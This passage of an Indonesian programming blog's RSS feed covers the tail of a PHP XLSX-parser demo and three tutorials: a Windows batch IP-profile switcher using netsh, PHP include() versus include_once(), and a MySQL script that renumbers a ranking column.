 echo '&lt;li&gt;&lt;b&gt;File Name:&lt;/b&gt; '.$fileName.'&lt;/li&gt;';
 echo '&lt;li&gt;&lt;b&gt;File Size:&lt;/b&gt; '.($fileSize/1000).' kb&lt;/li&gt;&lt;/li&gt;';
 echo '&lt;/ul&gt;

 &lt;h2&gt;Worksheets:&lt;/h1&gt;&lt;ul&gt;';
 foreach ($getWorksheetName as $value) {
 echo '&lt;li&gt;'.$value.'&lt;/li&gt;';
 }
 echo '&lt;/ul&gt;';

 echo '&lt;h2&gt;Display data in table format:&lt;/h2&gt;
 &lt;div id="datacontent"&gt;';
 for($j=1;$j &lt;= $xlsx-&gt;sheetsCount();$j++){
 echo '&lt;h3&gt;Worksheet Name: '.$getWorksheetName[$j-1].'&lt;/h1&gt;';
 echo '&lt;table id="xlsxTable"&gt;';
 list($cols,) = $xlsx-&gt;dimension($j);
 //Prepare table
 foreach( $xlsx-&gt;rows($j) as $k =&gt; $r) {
 if ($k == 0){
 $trOpen        = '&lt;th';
 $trClose    = '&lt;/th&gt;';
 $tbOpen        = '&lt;thead&gt;';
 $tbClose    = '&lt;/thead&gt;';
 }else{
 $trOpen        = '&lt;td';
 $trClose    = '&lt;/td&gt;';
 $tbOpen        = '&lt;tbody&gt;';
 $tbClose    = '&lt;/tbody&gt;';
 }
 echo $tbOpen;
 echo '&lt;tr&gt;';
 for( $i = 0; $i &lt; $cols; $i++)
 //Display data
 echo $trOpen.'&gt;'.( (isset($r[$i])) ? $r[$i] : '&amp;nbsp;' ).$trClose;
 echo '&lt;/tr&gt;';
 echo $tbClose;
 }
 echo '&lt;/table&gt;';
 }
 echo '&lt;/div&gt;

 &lt;h2&gt;Display as Array:&lt;/h2&gt;
 &lt;div id="datacontent" style="overflow: auto; height: 400px; width: 550px; border: 1px #008080 solid;"&gt;';
 echo '&lt;h3&gt;$xlsx-&gt;getWorksheetName()&lt;/h1&gt;';
 echo '&lt;pre&gt;';
 print_r($xlsx-&gt;getWorksheetName());
 echo '&lt;/pre&gt;';
 for($j=1;$j &lt;= $xlsx-&gt;sheetsCount();$j++){
 echo '&lt;h3&gt;$xlsx-&gt;rows('.$j.')&lt;/h1&gt;';
 echo '&lt;pre&gt;';
 print_r( $xlsx-&gt;rows($j) );
 echo '&lt;/pre&gt;';
 echo '&lt;h3&gt;$xlsx-&gt;rowsEx('.$j.')&lt;/h1&gt;';
 echo '&lt;pre&gt;';
 print_r( $xlsx-&gt;rowsEx($j) );
 echo '&lt;/pre&gt;';
 }
 echo '    &lt;/div&gt;
 &lt;/div&gt;
 &lt;hr&gt;';
 }else{
 echo '&lt;script&gt;alert("Sory, this demo page only allowed .xlsx file under '.($limitSize/1000).' Kb!\nIf you want to try upload larger file, please download the source and try it on your own webserver.")&lt;/script&gt;';
 }
}
?&gt;
&lt;div id="footer"&gt;&amp;copy; 2011++ SPYRO KiD | http://www.spyrozone.net&lt;br&gt;All Rights Reserved&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p><span style="text-decoration: underline;"><strong>Example Spreadsheet</strong></span></p>
<p><a href="http://www.spyrozone.net/project/xlsx-parser/example-data.xlsx">example-data.xlsx</a></p>
<h3>Demo &amp; Download</h3>
<p>Silahkan coba sendiri secara online atau download class, file contoh penggunaan beserta contoh file xlsx-nya pada halaman project:</p>
<p style="text-align: center;"><a title="PHP: Parse and Retrieve Data from XLSX Files" href="http://www.spyrozone.net/project/xlsx-parser/">http://www.spyrozone.net/project/xlsx-parser/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/php-parse-and-retrieve-data-from-xlsx-files.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BeeSWITCH: Simple Batch IP Switcher</title>
		<link>http://www.spyrozone.net/hacking/2011/05/beeswitch-simple-batch-ip-switcher.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/beeswitch-simple-batch-ip-switcher.jsp#comments</comments>
		<pubDate>Fri, 06 May 2011 04:27:42 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[batch]]></category>
		<category><![CDATA[IP Address]]></category>
		<category><![CDATA[IP Switcher]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=1806</guid>
		<description><![CDATA[Jika Anda pengguna Windows XP/Vista, mungkin pernah lelah karena harus selalu mengubah-ubah IP Address tiap kali ingin berinternet di rumah setelah sebelumnya laptop Anda di set menggunakan IP kantor. Atau mungkin, Anda merasa capek karena harus mengubah lagi alamat IP ketika ingin berinternet di kantor setelah sebelumnya Anda berinternet di kampus, taman wifi, atau di [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Jika Anda pengguna Windows XP/Vista, mungkin pernah lelah karena harus selalu mengubah-ubah IP Address tiap kali ingin berinternet di rumah setelah sebelumnya laptop Anda di set menggunakan IP kantor. Atau mungkin, Anda merasa capek karena harus mengubah lagi alamat IP ketika ingin berinternet di kantor setelah sebelumnya Anda berinternet di kampus, taman wifi, atau di kafe favorit Anda. Berbeda dengan Windows7 yang memiliki fasilitas penyimpanan profil koneksi jaringan, Windows XP &amp; Vista tidak memiliki fitur tersebut.</p>
<p style="text-align: justify;">Di Internet, memang bisa dipastikan sudah ada begitu banyak program gratisan untuk memanajemen profil jaringan. Tapi, apa salahnya kalau kali ini kita membuat IP Switcher sendiri. Mudah, dan tidak perlu menggunakan alat bantu apapun. Yang kita butuhkan hanya text editor, serta bisa berjalan pada semua versi windows (xp/vista/7)  baik 32 bit maupun 64 bit karena aplikasi ini dibangun dengan batch programming.</p>
<p style="text-align: justify;">Berikut source code beserta panduan penggunaannya. Selamat mencoba <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: justify;"><span id="more-1806"></span></p>
<h3><span style="text-decoration: underline;">1. DOWNLOAD BeeSWITCH V1.0.0</span></h3>
<p style="text-align: center;"><a href="http://www.spyrozone.net/project/beeswitch/BeeSWITCH.zip"><img class="aligncenter size-full wp-image-100" style="border: 0pt none;" title="Download BeeSWITCH" src="http://www.spyrozone.net/hacking/storage/2010/07/download_128.png" alt="{Image: Download BeeSWITCH}" width="128" height="128" /></a></p>
<p>Ada 3 (tiga) file utama dalam project kali ini.</p>
<ol>
<li><strong>BeeSWITCH.bat</strong>, program utama;</li>
<li><strong>config.txt</strong>, file konfigurasi BeeSWITCH;</li>
<li><strong>help.txt</strong>, berisi panduan untuk menambahkan/memodifikasi profil koneksi jaringan.</li>
</ol>
<h3><span style="text-decoration: underline;">2. PANDUAN PENGGUNAAN BeeSWITCH</span></h3>
<h4>2.1. Membuat Profil Koneksi Jaringan</h4>
<p>File <em><strong>config.txt</strong></em> berisi daftar profil koneksi jaringan. Pada  file <strong><em>help.txt</em></strong>, saya memberikan penjelasan tentang format penulisan  profil baru. Agar semakin jelas, saya akan menguraikan kembali format  penulisannya <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  <strong> </strong></p>
<p><span style="text-decoration: underline;"><strong>2.1.1. Menambah Profil Koneksi dengan Static IP</strong></span></p>
<p>Format penulisan:<strong> </strong></p>
<p><span style="color: #0000ff;"><strong>Nomor urut</strong></span><em>&lt;semicolon&gt;</em><span style="color: #0000ff;"><strong>Nama Profil</strong></span><em>&lt;semicolon&gt;</em><span style="color: #0000ff;"><strong> </strong><strong>Interface</strong></span><em>&lt;semicolon&gt;</em><span style="color: #0000ff;"><strong> </strong><strong>Alamat IP</strong></span><em>&lt;spasi&gt;</em><span style="color: #0000ff;"><strong>Subnet Mask</strong></span><em>&lt;spasi&gt;</em><span style="color: #0000ff;"><strong> </strong><strong>Default Gateway</strong><strong> </strong></span><em>&lt;spasi&gt;</em><span style="color: #0000ff;"><strong>Metric</strong></span><em>&lt;semicolon&gt;</em><span style="color: #0000ff;"><strong>Primary DNS</strong></span><strong> </strong><em>&lt;semicolon&gt;</em><span style="color: #0000ff;"><strong>Secondary DNS</strong></span></p>
<p>Misalnya Anda ingin membuat koneksi dengan konfigurasi berikut:</p>
<ul>
<li> Nomor urut menu: 1</li>
<li>Nama profil: My Office (LAN)</li>
<li>Interface: Local Area Connection</li>
<li>Alamat IP: 172.17.28.216</li>
<li>Subnet Mask: 255.255.255.0</li>
<li>Default gateway: 172.17.28.254</li>
<li>Metric: 0</li>
<li>Primary DNS: 8.8.8.8</li>
<li>Secondary DNS: 8.8.4.4</li>
</ul>
<p>Maka, format penulisannya Adalah:</p>
<pre><span style="color: #3366ff;"><strong>1;My Office (LAN);Local Area Connection;172.17.28.216 255.255.255.0 172.17.28.254 0;8.8.8.8;8.8.4.4</strong></span></pre>
<p><span style="text-decoration: underline;"><strong>2.1.2. Menambah Profil Koneksi DHCP</strong></span></p>
<p>Menambah profil koneksi DHCP tidak kalah mudahnya. Berikut contoh profil koneksi DHCP untuk interface <strong>Wireless Network Connection</strong>:</p>
<pre><span style="color: #3366ff;"><strong><strong>6;Spyro Cafe (WiFi);Wireless Network Connection;dhcp;;</strong></strong></span></pre>
<p>Uraian dari profil diatas adalah:</p>
<ul>
<li>Nomor urut menu: 2</li>
<li>Nama Profil Koneksi: Spyro Cafe (WiFi)</li>
<li>Interface: Wireless Network Connection</li>
</ul>
<h4 style="text-align: justify;"><span style="color: #000000;">2.2. Konfigurasi  BeeSWITCH.bat</span></h4>
<p style="text-align: justify;"><span style="color: #000000;">BeeSwitch.bat berisi perintah-perintah </span>Command Prompt<span style="color: #000000;"> untuk membaca file konfigurasi yang telah ditentukan (secara default bernama <em><strong>config.txt</strong></em>), lalu mengubah IP user sesuai menu profil yang dipilih user. Berikut adalah source code BeeSWITCH.bat<br />
</span></p>
<pre class="brush:bash">@ECHO OFF
SET BeeVERSION=V1.0.0
TITLE BeeSWITCH %BeeVERSION% - Batch IP Switcher

:proginfo
ECHO   .--.               .--.
ECHO  /    `.   o   o   .'    \  BeeSWITCH - Batch IP Switcher is
ECHO  \      \   \ /   /      /  a network settings manager to
ECHO  /\_     \ .-"-. /     _/\  help you switch a computer between
ECHO (         V ^^ ^^ V         ) multiple network (profiles) instantly.
ECHO  \_      _^| 9_9 ^|_      _/
ECHO   `.    //\__o__/\\    .'   See HELP.txt to add/edit/remove your
ECHO     `._//\^=^=^=^=^=^=^=/\\_.'     connection profiles.
ECHO      /_/ /\^=^=^=^=^=/\ \_\
ECHO        _// \^=^=^=/ \\_        Author  : SPYRO KiD
ECHO       /_/_//`^='\\_\_\        ~ Web  : http://www.spyrozone.net
ECHO         /_/     \_\          ~ Mail : root\at\spyrozone.net
ECHO ----- BeeSWITCH %BeeVERSION% -------------------------------------------
ECHO.
PAUSE
CLS

:reset
SET confile=config.txt
SET choice=%1
SET profilename=
SET connection=
SET ipset=
SET primdns=
SET secdns=

:head
CLS
ECHO.
ECHO   Network Connection Profile:
ECHO   -----------------------------------------------------------

:menu
FOR /f "tokens=1,2,3,4,5,6 delims=;" %%a in (%confile%) do (
 IF "%choice%"=="" (
 ECHO     %%a = %%b
 ) ELSE (
 IF "%choice%"=="q" GOTO end
 IF "%%a"=="%choice%" (
 SET profilename=%%b
 SET connection=%%c
 SET ipset=%%d
 SET primdns=%%e
 SET secdns=%%f
 )
 )
)
IF "%choice%"=="" (
 ECHO     q = Quit
 ECHO   -----------------------------------------------------------
 SET /p choice=  Enter your choice:
 GOTO head
)

:switchip
IF "%profilename%"=="" (
 CLS
 ECHO.
 ECHO   Invalid Selection!
 ECHO.
 PAUSE
 GOTO reset
) ELSE (
 CLS
 ECHO Please wait...
 ECHO.
 IF "%ipset%"=="dhcp" (
 IF NOT "%connection%"=="" (
 NETSH INTERFACE IP SET ADDRESS "%connection%" DHCP
 NETSH INTERFACE IP SET DNS "%connection%" DHCP
 )
 ) ELSE (
 IF NOT "%ipset%"=="" (NETSH INTERFACE IP SET ADDRESS "%connection%" static %ipset%)
 IF NOT "%primdns%"=="" (NETSH INTERFACE IP SET DNS "%connection%" static %primdns% primary)
 IF NOT "%secdns%"=="" (NETSH INTERFACE IP ADD DNS "%connection%" %secdns%)
 )
)
CLS
ECHO   Your IP Address has been changed into the following configuration:
NETSH INTERFACE IP SHOW CONFIG "%connection%"
ECHO.
PAUSE
CLS
GOTO reset

:end</pre>
<p style="text-align: justify;">Sederhana sekali yah, hanya membaca file konfigurasi lalu mengolahnya dengan netsh ^^ Jika Anda ingin mengubah nama dan lokasi file konfigurasi, ubah saja baris ke 24. Misalnya Anda membuat file konfigurasi dengan nama <strong>konfigurasi.txt</strong> yang terletak pada folder <strong>C:\spyrozone.net\folderku\</strong>, maka ubah baris ke 24 pada kode diatas dari:</p>
<p style="text-align: justify;"><code>SET confile=config.txt</code></p>
<p style="text-align: justify;">Menjadi</p>
<p style="text-align: justify;"><code>SET confile=C:\spyrozone.net\folderku\konfigurasi.txt</code></p>
<p>Sangat mudah, <em>khan</em>? <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h4>2.3. Menjalankan  BeeSWITCH.bat</h4>
<ol>
<li style="text-align: justify;">Jalankan<strong> BeeSWITCH.bat </strong>sebagai Administrator. Akan tampil gambar lebah dengan deskripsi aplikasi beserta nama author (nampang nih yee.. ^^)
<div id="attachment_1924" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1924" title="BeeSwitch V1.0.0" src="http://www.spyrozone.net/hacking/storage/2011/05/BeeSwitch-V1.0.0.jpg" alt="{image: BeeSwitch V1.0.0}" width="500" height="163" /><p class="wp-caption-text">BeeSwitch V1.0.0</p></div>
<p>Sesuai keterangan yang tampil, tekan sembarang tombol pada keyboard Anda untuk melanjutkan.</li>
<li>Akan tampil daftar menu sesuai dengan profil koneksi yang Anda isikan pada config.txt
<div id="attachment_1925" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1925" title="Menu BeeSwitch V1.0.0" src="http://www.spyrozone.net/hacking/storage/2011/05/Menu-BeeSwitch-V1.0.0.jpg" alt="{image: Menu BeeSwitch V1.0.0}" width="500" height="163" /><p class="wp-caption-text">Menu BeeSwitch V1.0.0</p></div>
<p>Ketik nomor urut menu profil koneksi yang Anda inginkan, kemudian tekan Enter. Tunggu hingga proses perubahan IP selesai.</p>
<div id="attachment_1927" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1927" title="Hasil perubahan konfigurasi" src="http://www.spyrozone.net/hacking/storage/2011/05/Hasil-perubahan-konfigurasi.jpg" alt="{image: Hasil perubahan konfigurasi}" width="500" height="172" /><p class="wp-caption-text">Hasil perubahan konfigurasi</p></div>
<p>BeeSWITCH akan menampilkan hasil perubahan alamat IP. Tekan sembarang tombol pada keyboard Anda untuk melanjutkan.</li>
<li>Anda akan dibawa kembali ke menu utama. Ketik <strong>x</strong> lalu tekan Enter untuk menutup aplikasi.</li>
</ol>
<p style="text-align: justify;">Fiturnya terlalu sederhana ya? silahkan saja Anda modifikasi script diatas sesuka hati ^^ Sekian dulu dech, selamat mencoba dan semoga bermanfaat <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/beeswitch-simple-batch-ip-switcher.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apa sich perbedaan include() dan include_once() di PHP?</title>
		<link>http://www.spyrozone.net/hacking/2011/05/apa-sich-perbedaan-include-dan-include_once-di-php.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/apa-sich-perbedaan-include-dan-include_once-di-php.jsp#comments</comments>
		<pubDate>Mon, 02 May 2011 01:48:25 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[include_once]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=1916</guid>
		<description><![CDATA[Fungsi include() dan include_once() memang memiliki fungsi yang hampir sama. Namun ada perbedaan mendasar dari kedua fungsi tersebut: include() bisa memanggil file yang sama untuk beberapa kali. include_once() hanya akan memanggil file yang sama SEKALI saja. Arrhh&#8230; memangnya kenapa artikel seperti ini sampai ditulis? Bukannya dari dulu memang seperti itu? Jangan salah.. di inbox email [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Fungsi include() dan include_once() memang memiliki fungsi yang hampir sama. Namun ada perbedaan mendasar dari kedua fungsi tersebut:</p>
<ul>
<li>include() bisa memanggil file yang sama untuk beberapa kali.</li>
<li>include_once() hanya akan memanggil file yang sama SEKALI saja.</li>
</ul>
<p style="text-align: justify;">Arrhh&#8230; memangnya kenapa artikel seperti ini sampai ditulis? Bukannya dari dulu memang seperti itu? Jangan salah.. <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  di inbox email dan sms saya sudah ada <strong>8 orang</strong> yang menanyakan hal ini ^^&#8221;  kebanyakan merasa kurang jelas dengan contoh yang sudah bertebaran di Internet. Rata-rata dari mereka tidak melihat adanya perbedaan dari contoh-contoh tersebut.</p>
<p style="text-align: justify;">&#8220;Dari contoh-contoh yang gw temukan,. kelihatannya sama ajah&#8230;&#8221;</p>
<p style="text-align: justify;"><span id="more-1916"></span>Begitu kira-kira komentar para penanya. Nah, kali ini, saya akan memberikan contoh yang sangat -sangat sederhana yang akan menunjukkan perbedaan kedua fungsi tersebut.</p>
<h3 style="text-align: justify;">Contoh Sederhana</h3>
<p style="text-align: justify;">Buatlah 3 buah file php dengan nama index.php, include.php, include_once.php dengan code sebagai berikut:</p>
<p><strong>Nama File: </strong>index.php</p>
<pre class="brush:php">&lt;?PHP
include("include.php");
include("include.php");
include("include.php");
include_once("include_once.php");
include_once("include_once.php");
include_once("include_once.php");
?&gt;</pre>
<p style="text-align: justify;"><strong>Nama File: </strong>include.php</p>
<pre class="brush:php" style="text-align: justify;">&lt;?PHP
echo "Saya include!&lt;br&gt;";
?&gt;</pre>
<p style="text-align: justify;"><strong>Nama File: </strong>include_once.php</p>
<pre class="brush:php" style="text-align: justify;">&lt;?PHP
echo "Saya include_once!&lt;br&gt;";
?&gt;</pre>
<h3 style="text-align: justify;">Output</h3>
<p style="text-align: justify;">Ketika <strong>index.php</strong> dipanggil, maka output yang didapat adalah:</p>
<p style="padding-left: 30px;">Saya include!<br />
Saya include!<br />
Saya include!<br />
Saya include_once!</p>
<p>Terlihat khan bedanya?</p>
<p style="text-align: justify;">include.php dan include_once.php sama-sama dipanggil 3 KALI di file index.php. Pesan &#8220;Saya include!&#8221; yang ada pada include.php keluar 3 KALI, tapi pesan &#8220;Saya include_once!&#8221; yang ada pada include_once.php hanya tampil sekali, karena pemanggilan kedua dan seterusnya untuk nama file yang sama dengan fungsi include_once() akan diabaikan. ﻿</p>
<p style="text-align: justify;">Sekian, semoga bermanfaat <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/apa-sich-perbedaan-include-dan-include_once-di-php.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP/MySQL: Menata dan Mengurutkan Nilai yang Tidak Berurutan Dalam Tabel</title>
		<link>http://www.spyrozone.net/hacking/2011/04/phpmysql-menata-dan-mengurutkan-nilai-yang-tidak-berurutan-dalam-tabel.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/04/phpmysql-menata-dan-mengurutkan-nilai-yang-tidak-berurutan-dalam-tabel.jsp#comments</comments>
		<pubDate>Wed, 27 Apr 2011 09:15:31 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[MySql]]></category>
		<category><![CDATA[ordering]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=1901</guid>
		<description><![CDATA[Duh, bingung sich mau kasih judul apa Jadi, hari ini saya mendapatkan kasus yang bagi newbie seperti saya cukup menarik. Saya memiliki data seperti ini di tabel daftar_calon_menantu: id nama ranking 1 Sujoko 1 2 Suparno 2 3 Supriono 3 4 Sugogon 4 5 Sumiarto 5 6 Susu 6 Karena Suatu alasan, peserta nomor 2, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><em>Duh</em>, bingung sich mau kasih judul apa <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Jadi, hari ini saya mendapatkan kasus yang bagi newbie seperti saya cukup menarik. Saya memiliki data seperti ini di tabel <strong>daftar_calon_menantu</strong>:</p>
<table style="border-collapse: collapse;" border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>id</strong></td>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>nama</strong></td>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>ranking</strong></td>
</tr>
<tr>
<td style="text-align: center;">1</td>
<td>Sujoko</td>
<td style="text-align: center;">1</td>
</tr>
<tr>
<td style="text-align: center;">2</td>
<td>Suparno</td>
<td style="text-align: center;">2</td>
</tr>
<tr>
<td style="text-align: center;">3</td>
<td>Supriono</td>
<td style="text-align: center;">3</td>
</tr>
<tr>
<td style="text-align: center;">4</td>
<td>Sugogon</td>
<td style="text-align: center;">4</td>
</tr>
<tr>
<td style="text-align: center;">5</td>
<td>Sumiarto</td>
<td style="text-align: center;">5</td>
</tr>
<tr>
<td style="text-align: center;">6</td>
<td>Susu</td>
<td style="text-align: center;">6</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Karena Suatu alasan, peserta nomor 2, 4 dan 5 meninggal dunia (hiii&#8230; sadis banget loe.. :p ), maka data tersebut dihapus dari tabel <strong>daftar_calon_menantu</strong>, sehingga kini tabel saya menjadi seperti ini:</p>
<p style="text-align: justify;"><span id="more-1901"></span></p>
<table style="border-collapse: collapse;" border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>id</strong></td>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>nama</strong></td>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>ranking</strong></td>
</tr>
<tr>
<td style="text-align: center;">1</td>
<td>Sujoko</td>
<td style="text-align: center;">1</td>
</tr>
<tr>
<td style="text-align: center;">3</td>
<td>Supriono</td>
<td style="text-align: center;">3</td>
</tr>
<tr>
<td style="text-align: center;">6</td>
<td>Susu</td>
<td style="text-align: center;">6</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Perhatikan kolom <strong>ranking</strong>. Nilai pada kolom tersebut menjadi 1,3,6, tidak lagi berurutan. Bagaimana mengubah nilainya agar menjadi 1,2,3 dengan menggunakan PHP/MySQL?</p>
<p style="text-align: justify;">Berikut adalah script PHP yang saya gunakan untuk menyelesaikan permasalahan tersebut:</p>
<pre class="brush:php">&lt;?PHP
$dbhost = 'localhost'; //host
$dbuser = 'root'; //mysql username
$dbpass = 'password'; //mysql password
$dbname = 'db_kawin'; //database name
$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$i = 1;
$resetRanking = mysql_query("SELECT ranking FROM daftar_calon_menantu ORDER by ranking") or die(mysql_error());
while($row = mysql_fetch_array($resetRanking)) {
 mysql_query("UPDATE daftar_calon_menantu SET ranking=$i WHERE ranking=".$row['ranking']);
 ++$i;
}
?&gt;</pre>
<p style="text-align: justify;">Begitu diakses, nilai <strong>ranking</strong> pada tabel saya langsung berurutan:</p>
<table style="border-collapse: collapse;" border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>id</strong></td>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>nama</strong></td>
<td style="text-align: center;" bgcolor="#ffffcc"><strong>ranking</strong></td>
</tr>
<tr>
<td style="text-align: center;">1</td>
<td>Sujoko</td>
<td style="text-align: center;">1</td>
</tr>
<tr>
<td style="text-align: center;">3</td>
<td>Supriono</td>
<td style="text-align: center;">2</td>
</tr>
<tr>
<td style="text-align: center;">6</td>
<td>Susu</td>
<td style="text-align: center;">3</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Sekian, mudah-mudahan ada manfaatnya <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/04/phpmysql-menata-dan-mengurutkan-nilai-yang-tidak-berurutan-dalam-tabel.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
